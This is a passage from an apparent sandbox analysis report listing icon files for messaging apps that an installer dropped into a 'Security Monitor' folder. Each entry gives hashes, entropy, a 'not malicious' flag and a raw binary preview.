.C.;.B.;.B.;..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Microsoft Teams.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.386046922758486
Encrypted:	false
SSDEEP:	24:su7IUPPPPRZZZZZ+avnjxUrbbbbbbbbLB2JeFxgeaXQ0:hIUPPPPaavlUrbbbbbbbbLBoOxsXJ
MD5:	5D316BF8CE58BBA7DE8943D5E8A60244
SHA1:	898FCA22C2A5FDC22859FB4994BDC8105D797BC2
SHA-256:	92B5DF95A623E9786D079E86264CDCF882EF6C80FA824564D584B530D50BF483
SHA-512:	F7C9E47127411FAE362A2BEC2A196C4C6116350D3AF7D8E6841D7824D5F0148EA8CAEF04BC5F404BD055229EB209DED86578E3EA594EB1CCCE5219586225C904
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................{`.{..{..{..{..{..{..{`.........................................................................................{ .{..{..{..{..{..{..{..{..{..{..{ .............................................................................{ .{..{..{..{..{..{..{..{..{..{..{..{..{ .........................................................................{..{..{..{..{..{..{..{..{..{..{..{..{..{......................................................................ib`.ib..ib..ib..ib..ib..ib..ng..{..{..{..{..{..{..{..{`.................................................................^X..^X..^X..^X..^X..^X..^X..^X..xp..{..{..{..{..{..{..{r..YP..YP..YP..YP..YP.............................................l<8.l<

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Mozilla Thunderbird.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.865260776041573
Encrypted:	false
SSDEEP:	96:KSAuCHoaNkcD71rTr/JXTL2oOJu2u/V8o52K:KJuCHHN/rTMoOJun/VJUK
MD5:	340BD449C16ECBF1A7BC30C7B3AED555
SHA1:	D4464A700F4A7C6CDA68BE19AE90B0526D980B33
SHA-256:	01F8E1E82FDA69928E9EDA19DE2D775F4194CB8ADC081753C426456BFE2619F6
SHA-512:	16807B0C2B16547397D717DDA738B69122F2C3DC6CF2DE988F8675D4F2E0B5C9592D350FF6F408F012FCB4B3822FDB5ED6CA887D311DDAED090193AFAF0826B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................3...@...-......@...&.......................................................................................................(+...[(..m7..D...G...a1..>......<.......................................................................................'...7...D...E3...L ..V7.f)..X....>".s5.. ..z...................................................................)...0...9...A...I...O...R...S...P..zB...n8&.c(..P...{9!.t1..4...................................................... ...E'......\...D...P...V...Y...Z...[...`...g...i!...E...v:+.T...L...p/".^...8...A..4........................................)..tI..........=...@...P...T...Y...c...j....&&0.<>J.div.....j<5.j(..C...M...Y...E...A...}..=................................=...Q...8......g...Q.......c...V...v((1.?@L.hny...............n\b.a"..O...;...H...t5..c+..L...z..$........................J..\|R...4...0.......).....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Opera Mail.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.760005259103538
Encrypted:	false
SSDEEP:	48:9cPueb/98+LRtKVF/7x5qcUuD4oxp7SJU9Jhni4GZ9h2u0Kuq+j6vQuQ:efO8Yx42Jhni4GUuLuhmY/
MD5:	6EDC10A9110ACA8413A654526A2C9A08
SHA1:	74515C9BAEE2A5CA04CBF57A179F98FFA650B890
SHA-256:	E15B8D976729695D510F6CD60E047006F57D09DCF477A58F7D3CF09ED9A34AAA
SHA-512:	1E02B7F6028872398FA087B6BCA84E7F5B5D85BBB14BE1F05F576AAC4E531127A2B5919095C8479838F98CDCCBBE8274891A355857515F94061FF2B8D4D286B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Telegram.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.3625361404350915
Encrypted:	false
SSDEEP:	48:Og3bVNe49Z9LhdznJkyBVLBBHb31UOOrO2SB2NNg1F0U:53FLhBeyBlBB73134NNCWU
MD5:	E1286437AA2367AE05B567CA07F7AE38
SHA1:	A258C5400BBC5E28476805B4EBA278BA6D128432
SHA-256:	A886A335B7FC0A8EB88120FDF43E31AC349553D3DF1D3A911E3D2DF8A530BAAD
SHA-512:	E7477879F63A77A50B11D1CFFEC5ECF911A2906568FDFD1912031FAC0C2180834F5540F6EB190C43C0DA6CA52C51FF0C714C08F32C5ADF52C1FCA15EB2804595
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................................................................X<.!~V.3.W.3Z=.!................................................................................................pM.!.n.{.u..z..~...~...~...~...{..u..o.}sO.%........................................................................\|U.#.t...~...........................................~...t..~W.'.............................................................m.k.~.........................................................~...n.o.....................................................u...........................................................................v..1!...........................................x...........................................~.......................................y.......................................u.u......................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Tencent QQ.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.056283894172477
Encrypted:	false
SSDEEP:	96:DZlab9wlipnz12qCLtZ7JgVksVScm8FPcTi:D3aJkipzZKtpJEkiBFEm
MD5:	F501D67C40B9B639411C99B14F60E14D
SHA1:	6F16B1384505A87848A6FB078FC3B62CC55BBF94
SHA-256:	4EC7F2AB9D5FD7E5F1622F007510B4F4D3C1C779E5CDB4B128E2D53A2E468A28
SHA-512:	775647B02208318CCAB7ED6873D9351ADD106D5EDF27857E73B215B18C04310693D210EB43415690D51191CDEF7F21AECED1B7FCF5A3AFB254698A9CF13AF3CF
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ........................................................4...G...K...I...<...&...........................%...:...I...J...E...3...................................................7.'a..M...Z...i...e...N...C...#`....p...\...[...n..S..C...K...a...g...Z...M...,k....3.........................................R...............................e...,m..........+i..b...z...........................U...#Z..................................7.@....8....................Gp.VSY........................\co..Hz.............'...G........;.@.................................;. ....~...p...,....Sr.NAA........................................^US..S......[...A........@.0.....................................s.....8...02<.qdb....................................................../C..........~...........................................K...u.*'/.rdb..............................................................1E..y..P..............................................-.#.C67...........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Viber.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.099397362289201
Encrypted:	false
SSDEEP:	48:SB5/OEO7w9J5CJDojYDgyTAU8Nazp+1RmzzVzab20B+H7YBkLviAhJySdzMVn9f:UGniUvXAdNGtzzu8ALAmS0
MD5:	3236B7EE04864A464C4269EA6772C06B
SHA1:	C32DAC3F987C391FAEEFB48184431669F6C2D961
SHA-256:	641DB9FED269716510F749F98430FBB3563A0DDE013354CA2ECCC572E95EAF84
SHA-512:	F311E36B92F5905B15E9738FE431C287253A2DDD05D5EBA758DCCD7257884D3A7990DCB6A77401C25122EAC419F68F543ACDA12BB3AABA0C790155EE84544702
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ....................................................................`.........................................................................................................................j.........`.....................................................................................................................Uw..k.........`.................................................................................................................Vw..Wx..w.........@...@...@...@...@.............................................................................................Vx..Wx..Xz..............................................@....................................................... .............Wy..Xy..Xz..X{........................................................ .......................................`.................Wy..Xz..X{..Y{..Z\|..d...Z~..[~..z.........................................P...............................`...............b...Wz..X

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\WhatsApp.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	5182
Entropy (8bit):	4.429830209492408
Encrypted:	false
SSDEEP:	48:Rd9W4lzzzzzYXFrNmoN03g+iIsaDBYFGmGW2PD51s2ARAAR/sAye8:dW4gnJLI7DBolGW2r51dARAARRye
MD5:	31B5594B3A3289FB258A4EFBAC38F230
SHA1:	E41016FBE49B5B9B292EFC5C252F73452E55B409
SHA-256:	3B0521E3291E2F330873A66864C3DAC163E8E5DA9D62518C4541B38A979DE7B8
SHA-512:	825F05B05B7A0182B8F87AFCF12BD4FA1B4CF9712D39FCF13058BE32C11091145432273B443F955BEAABB995573252BD7006103E03645107FF434C8EFCC90EA6
Malicious:	false
Reputation:	unknown
Preview:	...... .... .(.......(... ...@..... ....................................................................................................................................................................?...................................................*......................................................................................v.../...................o.................................o.................................................................................................................................................................................................................................j.q.W.n.T.{.d..........................l.......................................=..........i.z.c...............^.>.A...A...A...A...A...A...A...A...T.4..................................................................B...B...B...K.&.B...B...B...B...B...B...B...B...B...B...B...B...`.A...........................................................B...B...B...B...B.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Windows Live Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.992992998632407
Encrypted:	false
SSDEEP:	48:LxwRTmmd4FjFuwKqDBF2fA+O4dwvcYhEEXB7/T/B/cfGt:LxtmiFjKuP+O4dw0Wx7/7qOt
MD5:	BCF4E26316979B5DA494DBEA2C92B1CB
SHA1:	080339DB0B56E86428295596CED9EEBF416D050C
SHA-256:	A34A7DB975EB4367B54DC7BB5BC49A6B12F12501C3BEE21D9C9093717C193999
SHA-512:	D52B6394C34929C4758F7F5C3D805EDE1BED09C47F80B23E4EDA8A8A81D12763014B999F95E9FBDAE41A1C26548718B86C90C02BB0C8714B21078330B12D2B8F
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ......................................................................................................................................................................................................................................................................................................................................................h?!.h?..i@.jA.jA..jA..jA..jA..jA.jA.i@..h?.................................................................................h?...K...S...X..]...Z...S...M...K..\|E..uB..i@.................................................:.Jc:.J.:.J.:.J.:.J.:.J.:.J.:.J..i@..[..o..............z..j...M..oE..d>.............................................:.J.N.b.c.y.j.}.c.u.X.i.N.a.E.W.A.R..lC..g......................{...g.yoR..wU.wjK.ziG.,ju.,kv.fq.0t.................._...A.Q............y..i.y.c.t.n.a..uH..wM..u...............................j...........k.}.2..F...9 ...6...;...<..@@..IC.qK=.P.G.X..........{.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Yahoo! Messenger.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.505932325468453
Encrypted:	false
SSDEEP:	48:6x5Iin1G7yKJ1Gs3UNIAB09uq8eq+xn704qtiCA2Kn5t7eUO:6fIinYy7sCIASsq8jKqBA2K5Ber
MD5:	A9756849B11E570FCB8F845201B4A435
SHA1:	6A6085576DD2B871485296BF2EAA1A4E02EF9C81
SHA-256:	4CDD2B35CB1CA9E330D06E184FDA8FA664DD59C7428F67DE9986E77087DEFB5B
SHA-512:	47D16D4EA54B20F7124BDD64B2377D1D00AEECC228EDBCD77A754EDA9D9F977180A2E6E906A0527C9D05EE2C9BEFD52045E7D42B93E69C6E94F9FA73195BDE22
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .............................................................................................................................................................................................................................................................................................................................................................._..._.P.a..a.._.P._..................................................................................................._...r.)...?...N...R...G...0....w.._......................................................................................._...\|..2...E...:...,...-...>...O...@..."...._...................................................................................m.*...<...'...+H..@>..MO..:G..'t..G...:....y.............................................................................._.@ ...6...-...$)..'"..41..<9..0,..&"..'g..?...(...._.@.........................................................B...F

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\Zoom.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.128222585880228
Encrypted:	false
SSDEEP:	48:0UTeD1j0JtPPPPPPPPPPPPPPPPPPPPPPPPPPP0BU2LxHfNeQktOOh/L+1Ya2Xm5w:0UTeDrHkQeOOh/Lgf2Xm5PciHahGcymV
MD5:	FE64E1FF82E7BB3030287E3EC9A1CA1F
SHA1:	48B4134044934131BE1F0D78AE817B9D75142218
SHA-256:	2D57537EC385D3B1663ABE0A253446F10942B536B206DF511749302173F7EDD2
SHA-512:	C5DAFD99771D67DE444225E029BAC7D918434A7E1F8D46A50B9401867A720AD7409D95A644385B3924FAB0212936A32A8580BB4BF650BB7A214425C6B72ABBB7
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................9...C...;...<...<...<&..<..<,..<-..<-..<-..<-..<,..<..<&..<...<...;...A...:...........................................=...<...=(..=s..<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...<...=s..=(..=...=...........................=...>...>...=x..=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=...=x..>...>...=...............>...?...?...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...>...........?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...?...@...?.......@...M...@x..@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@...@y..K...@...A...A(..A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A...A(..A...A...Bs..B...B...B...B...B...B...B...B...

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\aim.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.398174204777635
Encrypted:	false
SSDEEP:	48:Jast2MOHFY/G3BwkW6YvzQNUWRQi+EKbp2uDd4pWRwf2aGAXV:hwMOCGCvzCUW946dfMI
MD5:	E86E5DECCF75CD251149376B2882272B
SHA1:	B84C1608F2E77A4BB78D1523A679F9C74256D227
SHA-256:	228AB3BBAEEA67B9B701E5F034C05E00B61739F4BB8B9256E8FA6E4AE40C74BF
SHA-512:	784EB5883876810C15637C541EB036E87F0964F8A4B39CB7303B3C84EF8FC59425F7528890114B3381EEF021E992CD485A97EB4C58C5B8F5389F3114D6816C63
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................................................................................................................224.02;.15E614E:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:14D:15E903?/01...................................=...H...u.......z...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x...x.......{...U...%>..B...........................c..%...)...+...)...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(...(......*...'....u...&E......................B~.'...5...?..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A..!A...@...9...+....b.......................z..;..$D..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...?...(....0F...............'....#E..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..#C..$D...:....Ed...............+.:..#E..#D..#D..#D..#D..#D..#D.."D

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\icq.ico (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	6.123671236740637
Encrypted:	false
SSDEEP:	96:M6HyDOdzc8+Efv02qJgthMtLdhItbSCIYU2P8x4He:YDOd4QH02qJlZdhUzIY0e+
MD5:	9D963AAEF1A316841C2C34AE32CDEDB3
SHA1:	A73386D3ABE3824621B72143E0402BC1388CE700
SHA-256:	9DD59EBDBAA0D4CB4A4422D597DB6C7EEC60624F042A273AB1C75AD785168945
SHA-512:	81757CF518EFB4CCB90BFE35383D39D16F5C9210BBA8EE2E58F62A4961591F4244D78C6702B1AD022E9205C7177976B2E8EDC8E8FA5C4BCD2BB6F95F504140B2
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ................................................................h-L/./d5.,R/....t........................................................................................................3M3.).C...5.../...1.(.;..I-.................................................................................................3&.$.;.....................!.,.#-.........("&..-^0.,b1. &......................................................................6t8.............................%c$....));$...(...!...'.".8.)='................................................................&/.0..............................l..!.......................&.2....@............................................................,p(...............0...7...1......i..):#..........................&.s............................................................I#...........8.).M./.U./.P.).?. f.."[&...:.&.J.'.G...5..........".q.......9...M...<........................................... ..._.y....$.,.

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-02UGO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.386046922758486
Encrypted:	false
SSDEEP:	24:su7IUPPPPRZZZZZ+avnjxUrbbbbbbbbLB2JeFxgeaXQ0:hIUPPPPaavlUrbbbbbbbbLBoOxsXJ
MD5:	5D316BF8CE58BBA7DE8943D5E8A60244
SHA1:	898FCA22C2A5FDC22859FB4994BDC8105D797BC2
SHA-256:	92B5DF95A623E9786D079E86264CDCF882EF6C80FA824564D584B530D50BF483
SHA-512:	F7C9E47127411FAE362A2BEC2A196C4C6116350D3AF7D8E6841D7824D5F0148EA8CAEF04BC5F404BD055229EB209DED86578E3EA594EB1CCCE5219586225C904
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................................................................................................................................................................................{`.{..{..{..{..{..{..{`.........................................................................................{ .{..{..{..{..{..{..{..{..{..{..{ .............................................................................{ .{..{..{..{..{..{..{..{..{..{..{..{..{ .........................................................................{..{..{..{..{..{..{..{..{..{..{..{..{..{......................................................................ib`.ib..ib..ib..ib..ib..ib..ng..{..{..{..{..{..{..{..{`.................................................................^X..^X..^X..^X..^X..^X..^X..^X..xp..{..{..{..{..{..{..{r..YP..YP..YP..YP..YP.............................................l<8.l<

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-5K063.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.07531325717377
Encrypted:	false
SSDEEP:	48:n2to4hDDD+l6ZtQE1mA/+PWLlClkKAUqjcVGTJUysHFa/IJu:2tthDDal6LL+PWQSB6sTqysHFaQJu
MD5:	D0D41AD531613F51005CFDD6E7AFC134
SHA1:	828A3A01B74603403798155326286743F5E4000C
SHA-256:	0E43F7B2B24A035112F9FACD840EF0856F68260BA890CA1EDD7FF7B4A1DD3036
SHA-512:	3471310FDE5E1341FD75B69C5271B15B385885E90A277E90F989D75638CCCA63E1E04BF4574E2610B24AC16BD0C04113EFC15E5B2A25EBC94191845BD03E8F44
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .........................................................................RRR.VWW.}...ccd.ccd.~...dee.-...............................................................................................qrr.))).....................................................................................................................PRR.]__.'''.9;:.?CA.<>=.<?=.@CA.011....%uxx.............................................................................................wxw.........................NOO.................TTT.BBB.;;;.........................................JJJ.HHH.OOO=eee.TSS.ZYY+433.........`.y.E.e.F.f.Y.v.................bbb.[[Z....O.......................................................................2...........0...%...'...+...........2...4........XXX.....xxx.............................................................lll....F........1...7...8...............Y............ppp.....ccc.........................\\\.ttt.nnn.non.ddc.rrr...............

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-6KMSA.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.015933025401917
Encrypted:	false
SSDEEP:	48:jlLTFwirlRR25mD7NHgf/nrqQ6kcwpgHBWgOXKpAsDn5DnO9eXVP:ZLTFwirlRRymnN0/rqpkcwaDOXZsxqYZ
MD5:	B5DECCE572BF993C4F6CD6BD108DF2C3
SHA1:	21C33E841AF7DE3AF8868EAFF54EDB1492AEBEA4
SHA-256:	42A521BC3EF75526B3A1839DA875A949B369C6A00F2EAA43C8BECBB3E8279555
SHA-512:	EEE0D7F592836DFCEB0D50E2695DF6ACF336211E3C83C9DF8B49325BD03E2B3E5BD39DC8CAE3193A32D953CAA79543F8D356930CC6C6769A861EDA8F31E04D6A
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... .................................................................................................................................................................F.>.C.;.C.<.C.<.C.;.B.<wC.=.............U.@.B.<UD.<\|C.<.C.<.B.<.D.=.C.<nG.@$....................................................U.U.B.=.B.;.B.;.B.;.B.;.B.;.B.<.B.=hB.<.C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.<.D.=mf.f.................................................C.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.B.;.C.<.C.=P................................................B.;.B.;.B.;.B.;.B.;.B.;.B.;.T.N..........................O.H.B.;.B.;.B.;.B.;.C.;.............................................C.?AB.;.B.;.B.;.B.;.[.U........................................B.;.B.;.B.;.B.;.B.;.C.;.........................................C.;EB.;.B.;.B.;..............................................B.;.B.;.B.;.B.;.B.;.B.;.C.;.................................F.F.C.;.B.;.B.;..........

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-6KN6G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.865260776041573
Encrypted:	false
SSDEEP:	96:KSAuCHoaNkcD71rTr/JXTL2oOJu2u/V8o52K:KJuCHHN/rTMoOJun/VJUK
MD5:	340BD449C16ECBF1A7BC30C7B3AED555
SHA1:	D4464A700F4A7C6CDA68BE19AE90B0526D980B33
SHA-256:	01F8E1E82FDA69928E9EDA19DE2D775F4194CB8ADC081753C426456BFE2619F6
SHA-512:	16807B0C2B16547397D717DDA738B69122F2C3DC6CF2DE988F8675D4F2E0B5C9592D350FF6F408F012FCB4B3822FDB5ED6CA887D311DDAED090193AFAF0826B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ............................................................................................3...@...-......@...&.......................................................................................................(+...[(..m7..D...G...a1..>......<.......................................................................................'...7...D...E3...L ..V7.f)..X....>".s5.. ..z...................................................................)...0...9...A...I...O...R...S...P..zB...n8&.c(..P...{9!.t1..4...................................................... ...E'......\...D...P...V...Y...Z...[...`...g...i!...E...v:+.T...L...p/".^...8...A..4........................................)..tI..........=...@...P...T...Y...c...j....&&0.<>J.div.....j<5.j(..C...M...Y...E...A...}..=................................=...Q...8......g...Q.......c...V...v((1.?@L.hny...............n\b.a"..O...;...H...t5..c+..L...z..$........................J..\|R...4...0.......).....

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-6PTVT.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	3.066773618954921
Encrypted:	false
SSDEEP:	48:Ph9MjBRXLI4PPPPPPP5PPPlPPPPPvsuzWNQ:PhIl6u
MD5:	2F777CE0EAAF668E63BACB213F805C72
SHA1:	1200A1ACD3E1E8909738870ECA24FD3DB5E4EF4E
SHA-256:	F29CE4EA22FB3C298B8B98E2600D85F76C00C81502332BDC21B6B6D4BFFFA8D1
SHA-512:	5A9E8A41FC543E5AC83C1020CF503C5239D68A68228E18441FD58C560E3D19661F8B54702483984DF378B500DA09D144CD250ABB2A29742066B46E3FC9BC6F68
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ..............................................m.*.k...k...l.a.m...............................................................................................................m.u.m...m...m...m...l...m.u.m...l...m...m...m...m...m...n...m.p.q.".............................................................p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...p...q.?.....................................................q...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...r...q...o.'.............................................t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...t...s.P.....................................u.z.v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v...v.w.............................y.i.y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...y...x.f.....................{.6.{...{...{...{...{...{...{...{

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-72S64.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	4.760005259103538
Encrypted:	false
SSDEEP:	48:9cPueb/98+LRtKVF/7x5qcUuD4oxp7SJU9Jhni4GZ9h2u0Kuq+j6vQuQ:efO8Yx42Jhni4GUuLuhmY/
MD5:	6EDC10A9110ACA8413A654526A2C9A08
SHA1:	74515C9BAEE2A5CA04CBF57A179F98FFA650B890
SHA-256:	E15B8D976729695D510F6CD60E047006F57D09DCF477A58F7D3CF09ED9A34AAA
SHA-512:	1E02B7F6028872398FA087B6BCA84E7F5B5D85BBB14BE1F05F576AAC4E531127A2B5919095C8479838F98CDCCBBE8274891A355857515F94061FF2B8D4D286B1
Malicious:	false
Reputation:	unknown
Preview:	...... .... .........(... ...@..... ...................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\data\IM\32x32\is-7F3DD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PDS4H.tmp\404.tmp
File Type:	MS Windows icon resource - 1 icon, 32x32, 32 bits/pixel
Category:	dropped
Size (bytes):	4286
Entropy (8bit):	5.398174204777635
Encrypted:	false
